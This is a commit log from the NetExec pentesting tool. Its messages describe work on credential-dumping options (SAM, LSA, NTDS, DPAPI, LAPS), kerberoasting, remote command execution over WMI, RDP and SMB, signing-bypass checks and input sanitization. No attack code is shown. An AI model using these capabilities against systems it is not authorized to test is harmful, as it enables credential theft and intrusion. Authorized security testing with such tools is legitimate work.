Compare commits

..
1288 Commits
Author SHA1 Message Date
Alex 0a8b9ddff3 Merge pull request #1511 from Pennyw0rth/neff-dont-kill 2026-11-07 18:30:22 +01:00
mpgn 1de39bf66b Merge pull request #1486 from Pennyw0rth/rdp-screenshot-reuse-session
rdp: keep the login session for --screenshot, -x and -X
2026-11-07 18:29:23 +01:00
Alexander Neff 7d0074e311 Add kill option to teams db 2026-11-07 18:20:34 +01:00
Alexander Neff 6431599d0f Formatting 2026-11-07 18:00:10 +01:00
Alexander Neff a9e34aa904 Add instructions about protocols 2026-11-07 17:57:16 +01:00
Alexander Neff 2d3d5fb16e Formatting 2026-11-07 17:53:51 +01:00
Alexander Neff 851e3a49c9 Formatting 2026-11-07 17:52:24 +01:00
Alex ab4f81ad57 Merge pull request #1505 from Ryan-DV/fix/nessus-parser-protocols
Add parser support for extra protocols
2026-11-07 16:13:11 +01:00
Alex 3e9b1aa0db Merge pull request #1434 from crosscutsaw/presence-fix
presence fix and improvement
2026-11-07 16:12:53 +01:00
Alexander Neff bc0d65c0ad Revert removing alternative domain/dc vars for cross domain auth 2026-11-07 16:08:09 +01:00
Alexander Neff 9c708494aa Formatting 2026-11-07 16:03:31 +01:00
Alexander Neff f9727f144d Formatting 2026-11-07 15:59:53 +01:00
Alexander Neff d7393f685c Use kdcHost instead of manual arg 2026-11-07 15:57:18 +01:00
Alexander Neff a4f86d270c Formatting 2026-11-07 15:56:03 +01:00
Alex 841d7fe222 Merge pull request #1509 from 0xAnk/patch-1
fix(change-password): trigger null-session fallback on STATUS_USER_SESSION_DELETED
2026-11-06 08:54:14 +01:00
0xAnk 0187d86adb fix(change-password): trigger null-session fallback on STATUS_USER_SESSION_DELETED
Signed-off-by: 0xAnk <[email protected]>
2026-11-06 06:00:14 +05:00
Ryan 349cbd7172 Add parser support for extra protocols
Signed-off-by: Ryan <[email protected]>
2026-11-02 15:42:51 +01:00
mpgn c69c4b8ba7 rdp: fail -x/-X/--screenshot right away without credentials 2026-11-02 14:59:16 +01:00
mpgn c8a35f7813 rdp: keep the login session for --screenshot, -x and -X 2026-11-02 14:59:09 +01:00
mpgn f08f65a459 Merge pull request #1498 from nikaiw/fix/ldap-paging-no-ntlm
Always page LDAP searches, not only when NTLM is available
2026-11-01 18:46:31 +01:00
Azox 6965632b46 Merge pull request #1503 from Pennyw0rth/feat/azox-impacket-pkinit 2026-10-31 21:29:18 +01:00
azoxlpf 499219b5d9 Inline protocol checks, take the parsed username for PKINIT, drop RDP double if 2026-10-31 20:50:10 +01:00
azoxlpf a88b16634d Fix certificate auth regressions from review 2026-10-30 23:44:56 +01:00
mpgn ba6a16558a Update nxc/protocols/ldap.py
Signed-off-by: mpgn <[email protected]>
2026-10-30 23:42:03 +01:00
Azox 93d62e5ee2 Merge pull request #1504 from aas-n/reauth_swap-lockout-handling 2026-10-30 23:30:20 +01:00
Lyderic Lefebvre 0ad109c170 reauth_swap: clearer failure handling, lockout warning, CVE reference 2026-10-30 18:36:05 +01:00
azoxlpf d78d3badb0 Use impacket PKINIT for certificate auth and add --unpac to SMB 2026-10-29 22:06:49 +01:00
Azox 30cf146578 Merge pull request #1494 from gzzcoo/fix/ldap-lapsv2-kerberos-rpc 2026-10-29 16:54:46 +01:00
azoxlpf 31a98e5b02 Use a single failure sentinel in LAPSv2Extract.run() 2026-10-29 15:09:23 +01:00
mpgn 69f281055e Merge pull request #1489 from Pennyw0rth/deps-cleanup 2026-10-28 19:05:26 +01:00
mpgn 3e0f905609 Bump dploot to 4.1.3 2026-10-28 16:50:10 +01:00
Alex 8dfbc5941d Merge pull request #1495 from aas-n/feat/reauth-swap-module
Add reauth_swap module: check cross-user SMB re-auth swap (enforced signing bypass viability)
2026-10-28 09:55:53 -04:00
mpgn 2943ec4fb4 Bump impacket to fortra/impacket master 3ee67be6 2026-10-28 07:08:08 +01:00
Alexander Neff f16d0f8cf8 Remove unused imports 2026-10-28 00:26:49 +01:00
Alex 8ca80f1522 Merge pull request #1501 from Pennyw0rth/neff-uppercase-nbt-name 2026-10-27 16:02:26 -04:00
Alex ecbf7b5dd8 Merge branch 'main' into neff-uppercase-nbt-name 2026-10-27 16:00:02 -04:00
Alex 21d14df973 Merge pull request #1500 from Pennyw0rth/neff-uppercase-nbt-name 2026-10-27 15:30:13 -04:00
Alexander Neff 6a07de72a2 Formatting and some comments 2026-10-27 20:21:41 +01:00
Alexander Neff e48413e448 Alert the user if something goes wrong 2026-10-27 20:16:38 +01:00
Alexander Neff 3ff527b698 Use built-in smb conn reestablisher 2026-10-27 20:16:21 +01:00
Alexander Neff 8a8d4ec93e Formatting 2026-10-27 20:07:37 +01:00
Alexander Neff add06debbc Formatting 2026-10-27 20:07:08 +01:00
mpgn 821c17563e Show undecodable WAM tokens with fail() 2026-10-27 19:44:36 +01:00
mpgn e13597cb8e Merge pull request #1499 from Pennyw0rth/dpapi-lsa-regdump
Use regdump in the --dpapi LSA pass
2026-10-27 19:40:27 +01:00
Alexander Neff 468c4f93b9 Formatting 2026-10-27 19:28:12 +01:00
Alexander Neff 0e4959c10d Formatting 2026-10-27 19:27:43 +01:00
Alexander Neff 6fbea2ae1d Move module doc 2026-10-27 19:27:21 +01:00
Alexander Neff e5ff59ae0a Fix casing of hostname 2026-10-27 18:22:21 +01:00
Alexander Neff 1b9435e668 Fix casing of hostname 2026-10-27 18:19:40 +01:00
mpgn b7565a2cbf Drop the MSCache skip from the --dpapi LSA pass 2026-10-27 16:57:21 +01:00
mpgn 74e9fe27ed Use regdump and skip MSCache in the --dpapi LSA pass
--dpapi calls lsa() without --lsa, so args.lsa is None and the
== "regdump" checks sent it to secdump: the SECURITY hive was saved to
C:\Windows\Temp and parsed over SMB. The pass also dumped the cached
domain logons, although DPAPI only needs the DPAPI_SYSTEM key. Only
pick secdump when it is asked for, and skip MSCache in the quiet pass.
2026-10-27 11:19:53 +01:00
NKandClaude Opus 4.8 62e40f2423 Always page LDAP searches, not only when NTLM is available
The LDAP paged search control was only sent when self.no_ntlm was
false. self.no_ntlm is set when the DC does not answer the NTLM
(sicilyNegotiate) probe during host-info collection, which is common on
hardened / Kerberos-only DCs. Whether the server speaks NTLM is
unrelated to whether it supports paging (control 1.2.840.113556.1.4.319).

impacket's LDAPConnection.search() does not page on its own: it only
loops over result pages while it receives a SimplePagedResultsControl in
the request. With no_ntlm true, NetExec passed no control, so against a
large directory AD capped the result at 1000 entries and raised
sizeLimitExceeded. The handler logs the failure and returns [], so every
large search (--kerberoasting, --users, --bloodhound, ...) silently came
back empty with "No entries found!".

Send the paged control unconditionally so all entries are retrieved
regardless of the DC's NTLM support or the bind method used.

Co-Authored-By: Claude Opus 4.8 <[email protected]>
2026-10-27 02:13:27 +01:00
mpgn 30b3a6543b Merge pull request #1480 from Pennyw0rth/kerberos-tgt-reuse-dcom 2026-10-26 22:22:41 +01:00
mpgn 5a4ef2d5ac Remove the LAPS screenshots from the repository 2026-10-26 21:48:28 +01:00
mpgn 02aae10963 Fix the GKDI host for --laps and pass the AES key to LAPSv2Extract
- laps_search() bound MS-GKDI on the scanned host (self.host/self.remoteName),
  which broke --laps on smb/winrm/mssql/rdp; use the DC (kdcHost) instead
- pass the AES key so -k --aesKey can bind GKDI with Kerberos
- drop the always-true rpc_name/hasattr checks, the no-op setRemoteHost()
  and the try/except around json.loads in the module
2026-10-26 21:48:22 +01:00
mpgn 9d6a6d7911 Merge pull request #1482 from Pennyw0rth/smb-exec-fast-output-poll 2026-10-26 15:08:36 +01:00
mpgn 99c88e562e Fix the double backslash in exec output file paths 2026-10-26 13:14:34 +01:00
mpgn 73ec147399 Merge pull request #1484 from Pennyw0rth/list-modules-ast 2026-10-26 13:07:36 +01:00
mpgn 10ddc3df9d Report exec output files that could not be deleted
A failed delete can leave the command output on the target: with a
blocked share, wmiexec, mmcexec and atexec still write it to
C:\Windows\Temp. Log it as an [OPSEC] fail, unless the file does not
exist.
2026-10-26 13:06:54 +01:00
mpgn 440ca60684 Reuse module_is_sane() for the static -L listing
The static reader repeated the checks of module_is_sane() in one long
condition. It now builds a namespace from the literal values and the
method names of the class and runs module_is_sane() on it. load_module()
no longer checks again the modules that list_modules() already checked.
2026-10-25 18:57:50 +01:00
Alexander Neff 719add5367 Formatting 2026-10-25 15:27:22 +01:00
mpgn c2d7fdb8a5 Add missing hidden imports to the PyInstaller spec
Protocols and modules ship as data files, so PyInstaller never sees
their imports. The binary crashed on smb, wmi, winrm and mssql
(impacket.dcerpc.v5.tsts, nxc.helpers.dpapi, dploot.lib.network.*) and
failed to load maq, raisechild, firefox, presence, resetnightmare,
shadow-creds and mremoteng.
2026-10-24 22:23:21 +02:00
mpgn 70e385a27e Log skipped unreadable WAM tokens in debug 2026-10-24 22:23:21 +02:00
mpgn 3b827ef2d3 Import user modules for -L and comment the static guards
-L listed a user module that fails at import without any error. Only the
modules shipped with nxc are now read with ast, so ~/.nxc/modules keeps
the import and its "Failed loading module" message. Also comment what
each fallback guard protects and why the static result has no options key.
2026-10-24 21:52:40 +02:00
mpgn 61287f0bf9 Move the exec output read loop into one helper
wmiexec, mmcexec, atexec and smbexec had four copies of the same
read/retry loop, and the wmiexec copy had already drifted (no
--get-output-tries hint, different blocked-share message). They now
call get_output_file(), where the quick-read window is a single 0.4s
deadline. smbexec keeps reading right away.
2026-10-24 21:42:04 +02:00
Alex 495d770afd Merge pull request #1497 from Barneee/Barneee-add-arctic-wolf-enum 2026-10-23 09:52:34 -04:00
Dennis Barnekow fdf5e491f0 Add Arctic Wolf detection to enum_av
Signed-off-by: Dennis Barnekow <[email protected]>
2026-10-23 15:07:48 +02:00
Lyderic Lefebvre 56e535a637 Add reauth_swap module: check cross-user SMB re-auth swap (enforced signing bypass viability) 2026-10-22 16:40:09 +02:00
Azox e2b8c4962a Merge pull request #1496 from Pennyw0rth/feat/azox-webdav
Adds CVE-2026-102217  to the enum_cve module
2026-10-22 15:42:31 +02:00
azoxlpf 913fc5ba71 Added CVE-2026-102217 check 2026-10-22 14:32:28 +02:00
mpgn 6cc7347d0f Resync the PR after the GitHub incident 2026-10-21 19:41:01 +02:00
mpgn d26884a540 Merge branch 'main' into kerberos-tgt-reuse-dcom 2026-10-21 17:11:05 +02:00
Alex bd0dcf55b9 Merge pull request #1491 from Pennyw0rth/wmi_fix_checkadmin
Fix for #1490
2026-10-21 10:39:47 -04:00
mpgn 20731f4009 Reset the WMI TGT per attempt and reuse the TGT in the rdp module 2026-10-21 15:38:32 +02:00
Azox 2f0021c436 Merge branch 'main' into rdp-screenshot-reuse-session 2026-10-21 15:22:21 +02:00
mpgn ae14dd2bbc rdp: don't run -x/--screenshot after a failed login
rdp never set self.username, so proto_flow() treated every rdp run as one without credentials and ran -x/--screenshot even after a failed login, retrying the bad password. Set it like the other protocols do.
2026-10-21 15:12:05 +02:00
mpgn d65d2cb51d rdp: report screenshot errors and close the NLA probe through a local 2026-10-21 15:12:02 +02:00
gzzcoo 0da788f021 Drop unrelated LAPS command inventory change 2026-10-21 13:12:14 +02:00
gzzcoo b8e892ae41 Add LAPS v2 before and after screenshots 2026-10-21 13:07:58 +02:00
gzzcoo 8678bf9cbb Fix Kerberos RPC for LDAP LAPS v2 2026-10-21 12:54:30 +02:00
Alexander Neff 36e9731b2c Remove duplicate proto log specification 2026-10-20 11:57:55 -04:00
zblurx e55cc5d23d ruff 2026-10-20 13:42:55 +02:00
zblurx 949ffa5439 revert first fix 2026-10-20 13:42:05 +02:00
zblurx 133e7ff5bd Merge branch 'wmi_fix_checkadmin' of github.com:Pennyw0rth/NetExec into wmi_fix_checkadmin 2026-10-20 13:40:26 +02:00
zblurx e6a4d9f2f0 fix wmi bruteforce bug 2026-10-20 13:40:18 +02:00
zblurx d1464494a8 new fix for #1490 2026-10-20 13:34:55 +02:00
zblurx df356ca087 fix for #1490 2026-10-20 10:17:16 +02:00
mpgn ae683dba10 Merge pull request #1483 from Pennyw0rth/fix/dc-detect-rpc-plain-scan 2026-10-19 12:55:00 +02:00
mpgn de8c1353e6 Use None instead of 0 for an unknown OS arch 2026-10-19 11:30:08 +02:00
Azox b29b2a7e13 Merge pull request #1488 from azoxlpf/fix/schannel-no-empty-ntlm-login
Move the LDAP-to-SMB session to a helper and guard it on schannel
2026-10-18 22:55:27 +02:00
Azox e1daa2936c Merge pull request #1456 from rtpt-romankarwacik/smb_remotename_dns
Change SMB remoteName resolution
2026-10-18 21:59:50 +02:00
mpgn 4f9d13c27a rdp: address review on --screenshot session reuse
- --screentime: single default of 5 s for --screenshot and --nla-screenshot
- run every RDP call on the per-target event loop (opened and closed in
  proto_flow), and close check_nla's probe socket
- --continue-on-success: keep the session of the last successful login,
  as before
- print a failure when no desktop data arrived within --screentime
2026-10-18 16:18:20 +02:00
azoxlpf 680a38e486 Move the schannel guard into the helper and return None 2026-10-18 15:52:44 +02:00
mpgn dbc3e3cd21 Remove unused dependencies and fix wam token decoding
Drop beautifulsoup4, jwt, python-dateutil and flake8. The jwt package is
not PyJWT, so -M wam never decoded a token; decode the payload with the
stdlib instead. Replace relativedelta in --pso, which also fixes minutes
for durations of one hour or more.
2026-10-18 15:19:52 +02:00
azoxlpf 3e02616568 Move the LDAP-to-SMB session to a helper and guard it on schannel 2026-10-18 14:52:55 +02:00
mpgn f0ef5d685d rdp: honor --screentime for --screenshot
--screenshot always waited a fixed 5 s and ignored --screentime. Default
--screentime to None: --screenshot keeps waiting 5 s and --nla-screenshot
10 s unless --screentime is given.
2026-10-17 23:43:11 +02:00
mpgn 3db9914628 rdp: reuse the login session for --screenshot
--screenshot opened a second full RDP session after the login only to
grab the desktop. Run the login and the screenshot on one event loop
per target, keep the login session open for the screenshot, merge the
two screenshot-saving blocks, and stop PNG-encoding updates that
nothing reads.
2026-10-17 23:16:06 +02:00
Alexander Neff cbb214b7e4 Merge branch 'main' into smb_remotename_dns 2026-10-17 20:52:26 +02:00
mpgn 3618aa4fbd Read module metadata statically for -L
-L executed every module file to print its name, description and
category. list_modules() without names now reads that metadata with ast
(get_module_info_static), and only falls back to importing a module
when its metadata is not a plain literal.
2026-10-17 20:36:07 +02:00
mpgn 0615464f7a Merge pull request #1083 from serwiz/maq/privileges
Add SeMachineAccountPrivilege to maq module
2026-10-17 20:31:14 +02:00
mpgn 17166719c6 Detect DCs over RPC on plain scans by reusing the arch probe on 135
get_os_arch() already connects to the endpoint mapper on port 135 for every
host, so the Netlogon lookup adds no new port. Run it before is_host_dc() and
gate the RPC tier on its result instead of probing 135 again. DCs that refuse
the null session (Server 2025 by default) are now flagged without
--generate-*, and nothing extra is sent when 135 is filtered (proxychains).
Kerberos (88) stays limited to NTLM-disabled hosts and --generate-*.

The os_arch == 0 conditions of the Samba check were always true since the
arch was only computed afterwards; drop them to keep the same result.
2026-10-17 20:28:44 +02:00
mpgn f2dc91e16b Merge pull request #1481 from Pennyw0rth/load-requested-module-only
Load only the requested module with -M
2026-10-17 20:24:04 +02:00
mpgn f50d8d8322 Merge pull request #1464 from Pennyw0rth/fix/schtask-as-cert-cleanup
Fix schtask_as certreq: delete only the enrolled cert, and don't hang when the run-as user has no session
2026-10-17 19:38:15 +02:00
mpgn 23e097975a Merge pull request #1463 from Pennyw0rth/fix/cleanup-on-failure
Fix leftover files on target when --sam/--lsa/lsassy fail
2026-10-17 19:37:46 +02:00
mpgn 28b9d077a3 smb exec: read the command output sooner (wmiexec, mmcexec, atexec)
Poll for the output file quickly during the first 0.4 s instead of
sleeping 0.4 s before the first read. Fast polls do not count against
--get-output-tries, so the retry budget is unchanged.
2026-10-17 19:28:00 +02:00
mpgn f85c1e54ab Load only the requested module with -M
-M executed every module file to find the requested one. list_modules()
now takes the requested names and only loads those files, keeping the
same precedence (NXC_PATH/modules over built-in modules).
2026-10-17 19:27:55 +02:00
mpgn c573cdb203 Kerberos: reuse the login TGT for WMI/DCOM binds
With -k and a password, hash or AES key, pass the TGT obtained at login
to the WMI and DCOM binds instead of letting impacket request a new one
on every bind. An exported KRB5CCNAME is no longer used for these binds
unless --use-kcache is given.
2026-10-17 19:27:51 +02:00
serwiz c6ff87ba0d Fix schannel usage with MAQ module and removed policies_dn 2026-10-17 19:05:58 +02:00
Alex e24a78f5df Merge branch 'main' into fix/schtask-as-cert-cleanup 2026-10-17 11:54:12 -04:00
Alexander Neff 26d8fd291c Formatting 2026-10-17 17:35:59 +02:00
Alexander Neff adb3b48138 Formatting 2026-10-17 17:34:05 +02:00
Alexander Neff 5314ae2a00 Fix SMB args 2026-10-17 17:25:32 +02:00
Alexander Neff 6b4247eb60 Formatting 2026-10-17 17:22:18 +02:00
Alexander Neff 0b65706ea1 Formatting 2026-10-17 17:20:06 +02:00
Alexander Neff f261dea428 Formatting 2026-10-17 17:18:17 +02:00
Alexander Neff fd761d8371 Move login function to top of module 2026-10-17 17:17:52 +02:00
Alexander Neff 3a4630fc7b Fix wrong if statement order 2026-10-17 16:50:05 +02:00
Alexander Neff 2ced678694 Use NetBIOS name if host does not return DNS name 2026-10-17 16:49:54 +02:00
Alex 8a502536d5 Merge pull request #1477 from 0xdf223/fix/dc-detect-no-null-session
Treat missing null session as inconclusive in SMB DC detection
2026-10-17 10:43:08 -04:00
oxdfandClaude Opus 5.5 35a02b4059 Treat missing null session as inconclusive in SMB DC detection
_is_dc_via_smb() assumed a DC with NTLM enabled always accepts a null
session, so it returned False when the null bind failed. Server 2025 DCs
refuse anonymous SMB sessions by default, so they were marked as not a DC
and the RPC/Kerberos probes never ran. This broke --generate-krb5-file and
--generate-hosts-file against those DCs.

Return None instead so the remaining probes decide.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-17 08:26:47 -04:00
Alex 98a4679a23 Merge pull request #1475 from Pennyw0rth/neff-improve-loadtime 2026-10-16 13:38:23 -04:00
mpgn 9ddb09a0bc Merge pull request #1277 from azoxlpf/feat/add-schannel
add Schannel certificate authentication via --schannel
2026-10-16 19:17:32 +02:00
Alexander Neff a5e9d4a4e5 Move CCache import as well 2026-10-16 17:48:43 +02:00
Alexander Neff 7b98eccef5 Ruff 2026-10-16 17:30:21 +02:00
Alexander Neff a1036a1677 Load heavy imports conditionally 2026-10-16 17:28:27 +02:00
Alex 901d53ade4 Merge pull request #1473 from azoxlpf/fix/rdp-os-detection
Resolve RDP server OS from the NTLM build number
2026-10-16 11:26:09 -04:00
Alexander Neff 396e34fe82 Remove unused import 2026-10-16 17:22:48 +02:00
Alexander Neff b09311a9df Move dcom logic from connection to helpers 2026-10-16 17:22:14 +02:00
azoxlpf 62fc9a6ffa Fall back to the raw 10.0 version for builds missing from WIN_VERSIONS 2026-10-16 12:05:48 +02:00
azoxlpf aaaa369156 Resolve RDP server OS from the NTLM build number 2026-10-16 11:26:14 +02:00
serwiz 34bc130329 Change the way requesting LDAP to avoid removed GPO error. Now silently skipped while ACCESS DENIED still available. 2026-10-16 10:44:13 +02:00
azoxlpf 57daa0baeb add the e2e test certificate for the Schannel commands 2026-10-16 10:01:55 +02:00
azoxlpf 7eb995f6cb skip the database entry for certificate binds, move the --schannel argument check to netexec.py 2026-10-16 09:17:22 +02:00
serwiz 98376de004 Ruff stuff 2026-10-16 00:02:38 +02:00
serwiz 7a7d8653ba Merge branch 'maq/privileges' of github.com:serwiz/NetExec into maq/privileges 2026-10-15 23:52:23 +02:00
serwiz 865ea743ba Added minor improvments as suggested (remove ldap3 dependencies, verbose when ACCESS DENIED on GPO, support mixed value on GptTmpl.inf) with constants.py file included. 2026-10-15 23:50:37 +02:00
mpgn e5d11260e3 Merge branch 'main' into maq/privileges 2026-10-15 22:53:24 +02:00
serwiz f23ed12e80 applied priority order and resolved previous comments 2026-10-15 22:33:19 +02:00
azoxlpf bf32ced7d7 Add e2e commands 2026-10-15 22:07:28 +02:00
azoxlpf 59c451d36f resolve the Schannel account domain from whoami 2026-10-15 17:25:36 +02:00
mpgn 735ccc3db2 bump also poetry.lock 2026-10-15 16:01:00 +02:00
azoxlpf bcf045a882 use impacket LDAP whoami instead of a hand-rolled extended request 2026-10-15 15:37:03 +02:00
azoxlpf f51dd4f4df Merge branch 'main' into feat/add-schannel 2026-10-15 15:25:12 +02:00
serwiz df6ad2f26d Removed empty lines 2026-10-15 13:42:52 +02:00
serwiz a7c0968348 Review @Azoxlpf comments and enhance SeMachineAccountPrivilege Output 2026-10-15 11:17:52 +02:00
serwiz a67f07f54e Added Dfte patch 2026-10-15 00:40:34 +02:00
mpgn 89a698d93d Merge pull request #1468 from Pennyw0rth/certipy-nxc 2026-10-14 20:12:24 +02:00
mpgn 6c312cd791 deps: declare certipy-nxc exclude-newer override in pyproject so CI keeps the lockfile 2026-10-14 18:21:15 +02:00
mpgn 0602ef4367 deps: replace certipy-ad git fork with certipy-nxc from PyPI
The Pennyw0rth/Certipy fork, synced with ly4k/Certipy main (incl. #348), is now published on PyPI as certipy-nxc 5.1.0.post1. The fork keeps Python 3.11 support and allows impacket 0.14.0.dev. uv.lock overrides exclude-newer for certipy-nxc so it can be locked right after publishing. Fixes pip/pipx installs, which failed after the fork was renamed.

Tested certipy-find against an AD CS lab on Python 3.11 and 3.13.
2026-10-14 18:18:46 +02:00
mpgn a37a4438a1 fix(atexec): simplify the task-run wait with for/else, add a grace period, fail on task delete error 2026-10-13 22:42:43 +02:00
mpgn 0ae3cc9a39 fix(atexec): simplify the task-run wait, add a grace period for slow hosts, fail on task delete error 2026-10-13 22:38:12 +02:00
mpgn 39e46f2143 Move the SMB --sam/--lsa cleanup to #1465 2026-10-13 22:25:42 +02:00
mpgn f7bc61347a fix(lsassy,hash_spider): drop redundant try/except around ImpacketFile.delete 2026-10-13 22:21:15 +02:00
mpgn 8cd06f5434 fix schtask module 2026-10-12 22:49:50 +02:00
mpgn db7791d60c fix various problem 2026-10-12 19:27:59 +02:00
Alex 28e585121f Merge pull request #1462 from Pennyw0rth/neff-improve-mssql-output 2026-10-12 00:21:42 +02:00
Alexander Neff f7835c3ba7 Add simple visual separater 2026-10-11 18:14:03 -04:00
Alexander Neff 185c11390b Simplify logic 2026-10-11 18:02:01 -04:00
Alexander Neff 315abab0b2 Stay with IP as remoteName if not required by Kerberos 2026-10-11 17:57:53 -04:00
mpgn a419bd58e3 Merge pull request #1329 from Adamkadaban/rdp-exec-reliability-final
[Draft] Fix RDP command execution reliability
2026-10-11 18:22:53 +02:00
mpgn 893ff6f1ff fix(rdp): non-NLA fallback for auth_only exec check + builtin TimeoutError; warn on -X too 2026-10-11 18:12:10 +02:00
mpgn 1d8296c67c fix ruff 2026-10-11 17:39:04 +02:00
mpgn ca96761290 Merge remote-tracking branch 'upstream/main' into rdp-exec-reliability-final
# Conflicts:
#	nxc/protocols/rdp.py
2026-10-11 16:29:31 +02:00
mpgn e9fd573953 Merge pull request #1348 from azoxlpf/fix/rdp-pwned-gui-access
Only mark RDP hosts Pwn3d when a real session actually opens
2026-10-11 16:07:45 +02:00
mpgn 93afe3e049 fix ruff 2026-10-11 16:06:29 +02:00
mpgn f5d2c8803f bump aardwolf 2026-10-11 15:58:12 +02:00
mpgn 90f2d9c165 Merge branch 'main' into fix/rdp-pwned-gui-access 2026-10-11 15:54:34 +02:00
mpgn 9ec65be0c8 Merge pull request #1379 from Pennyw0rth/wmi_dump
[WMI] Add SAM, LSA and NTDS dump
2026-10-11 10:40:12 +02:00
mpgn c6665867bf Merge pull request #1461 from Pennyw0rth/raisechild 2026-10-11 09:47:19 +02:00
mpgn 43c569aa8d update lock files 2026-10-10 23:06:41 +02:00
mpgn f8b53ae8ba update lock files 2026-10-10 22:40:08 +02:00
mpgn f0c40cd85d fix raisechild module 2026-10-10 22:39:57 +02:00
Alexander Neff 311441c429 Expand remoteName to other protocols and only use FQDN if kerberos is required 2026-10-08 13:42:40 -04:00
Alexander Neff 081107a9ce Replace undefined target variable with remoteName 2026-10-08 13:15:38 -04:00
Alexander Neff b99fa8b8f2 Add sanitization 2026-10-08 13:13:04 -04:00
Alexander Neff 3f28024429 Add sanitization 2026-10-08 13:10:33 -04:00
Roman Karwacik 4bc98e7899 coerce_plus: use remoteName as target 2026-10-07 11:58:42 +02:00
Roman Karwacik 88ee0ce2f6 smb: Add debug message to show which ticket is being requested 2026-10-07 11:43:38 +02:00
Roman Karwacik c501de88c8 smb: Change default SPN (remoteName) resolution to use DNS name 2026-10-07 11:43:38 +02:00
Alex 306bf295dc Merge pull request #1453 from BepuSun/fix_rclone 2026-10-05 00:15:43 +02:00
BepuSun 0c21bf9bcd Ketp AES.block_size in rclone.py
Signed-off-by: BepuSun <[email protected]>
2026-10-04 23:36:29 +02:00
BepuSun ec6d41f10e fix rclone padding and library 2026-10-04 15:19:41 -04:00
BepuSun 7135d89d92 fix rclone padding and library 2026-10-04 15:03:26 -04:00
Alex 94048441cb Merge pull request #1450 from Pennyw0rth/neff-remove-py3.10
Remove Python 3.10
2026-10-03 01:42:17 +02:00
Alexander Neff 609f03a184 Remove py3.10 2026-10-02 19:11:08 -04:00
Alexander Neff 535f26ddc5 Update lock files 2026-10-02 18:39:13 -04:00
Alexander Neff 8f2fa9689e Ruff fixes 2026-10-02 18:32:47 -04:00
Alexander Neff 9592f690fd Remove py3.10 2026-10-02 18:32:29 -04:00
Alexander Neff 0ded751b31 Wording 2026-10-02 18:20:49 -04:00
Alex 8adf9cbd55 Merge pull request #1448 from snowpeacock/main
feat: switch --ntds vss method to remoteSSWMI
2026-10-03 00:17:08 +02:00
Alexander Neff 7a199c211f Formatting 2026-10-02 18:12:17 -04:00
Alexander Neff ea761c1330 Sanitize filename 2026-10-02 18:12:12 -04:00
Alex d688285c76 Merge branch 'main' into main 2026-10-01 18:47:25 +02:00
zblurx 064374ceb9 Merge branch 'wmi_dump' of github.com:Pennyw0rth/NetExec into wmi_dump 2026-10-01 10:03:29 +02:00
zblurx 07aef24f0f fix error with shadow copy filesize 2026-10-01 10:03:25 +02:00
Alex 3e0e37e8b5 Merge pull request #1444 from Pennyw0rth/fix-path-traversals
Fix all kinds of security issues
2026-09-30 21:04:49 +02:00
snowpeacock b37469c673 feat: switch VSS method to remoteSSWMI 2026-09-30 16:06:01 +02:00
zblurx 59bfc04b7e Merge branch 'main' into wmi_dump 2026-09-30 15:50:29 +02:00
zblurx 641ba4d486 ruff 2026-09-30 15:42:53 +02:00
zblurx 61bec860e9 change logic in wmi read_file 2026-09-30 15:41:53 +02:00
Alex 47025801b1 Merge pull request #1447 from Pennyw0rth/neff-fix-tasklist-kill 2026-09-27 23:37:06 +02:00
Alexander Neff 71c36e9a09 Fix new task format for task killing 2026-09-27 17:23:06 -04:00
Alexander Neff 6555186bce Fix new task format 2026-09-27 17:15:13 -04:00
Alexander Neff bb7afd4a09 Fix lock file 2026-09-27 17:14:59 -04:00
Alex 226a2f4d3e Merge pull request #1446 from Pennyw0rth/neff-improve-PR-template
Enforce AI usage rules
2026-09-27 23:05:03 +02:00
Alexander Neff e056c5a857 Enforce AI usage rules, also trim down a bit 2026-09-27 17:00:11 -04:00
Alexander Neff d8bc2f7dc8 Remove bullshit tests 2026-09-27 16:37:38 -04:00
Alexander Neff 13d00e4b22 Losen filename restrictions to allow curly braces and fix tests 2026-09-27 16:35:38 -04:00
Alexander Neff 910415c897 Losen DNS sanitization to allow weird windows dns names 2026-09-27 16:29:23 -04:00
Alexander Neff 91b0964e75 Prevent path traversal attacks 2026-09-27 16:18:31 -04:00
Alexander Neff 4187fa7bf7 Prevent sql injection 2026-09-27 16:13:37 -04:00
Alex 74c93d147d Merge pull request #1388 from Diogo-Damasceno/fix/ldap-query-non-entry-1349-clean
Fix #1349: skip non-SearchResultEntry objects in LDAP --query
2026-09-27 22:13:25 +02:00
Alexander Neff ba64b23ff5 Add patch by @azoxlpf fixing --query when receiving non-searchresult entries 2026-09-27 16:06:14 -04:00
Alexander Neff 752c43f0c8 Delete tests 2026-09-27 16:01:41 -04:00
Alex 641f99d192 Merge pull request #736 from Fabrizzio53/main
Create tombstone module
2026-09-25 16:24:09 +02:00
Alexander Neff a47d07e005 Preserve remote filename while sanitizing local file name 2026-09-24 17:05:18 -04:00
Alexander Neff 87d34add5f Preserve remote filename while sanitizing local file name 2026-09-24 17:04:50 -04:00
Alexander Neff bde37055bc Sanitize SMB download folder 2026-09-24 16:35:52 -04:00
Alexander Neff 654f3c12d8 Sanitize SMB input 2026-09-24 16:25:00 -04:00
Alexander Neff 31ca909e4e Add tests 2026-09-24 16:19:28 -04:00
Alexander Neff 5e31253313 Sanitize SQL statements 2026-09-24 16:19:11 -04:00
Alexander Neff 150f323e90 Add DNS sanitization 2026-09-24 16:17:08 -04:00
Alexander Neff 736ca36c56 Add AGENTS.md instructions 2026-09-24 14:20:31 -04:00
Alexander Neff 25076be9df Add tests 2026-09-24 13:17:26 -04:00
Alexander Neff 88c4963fc6 Sanitize manual NTLM challenge parsing 2026-09-24 13:17:17 -04:00
Alexander Neff c812041b17 Apply path sanitization 2026-09-23 15:22:05 -04:00
Alexander Neff 23be541d0a Add comments 2026-09-23 15:02:47 -04:00
Alexander Neff a995133e83 Add path sanitizer 2026-09-23 14:57:19 -04:00
Alexander Neff c375b3bb8c Add DNS sanitization function 2026-09-23 14:52:09 -04:00
Alex 4134e689e0 Merge pull request #1387 from Diogo-Damasceno/fix/nxcdb-host-csv-header
Fix #1385: derive nxcdb hosts CSV header from the protocol's HostsTable
2026-09-23 20:27:47 +02:00
Alex 83df61b0bd Merge pull request #1384 from Diogo-Damasceno/fix/ssh-key-type-rejected
ssh: distinguish 'key type rejected by server' from invalid passphrase (issue #1356)
2026-09-23 20:24:56 +02:00
Alexander Neff bd87cc26ee Remove tests file 2026-09-23 14:19:43 -04:00
Alexander Neff 1b3f75b06b Add patch by @azoxlpf fixing nxcdb export headers 2026-09-23 14:18:27 -04:00
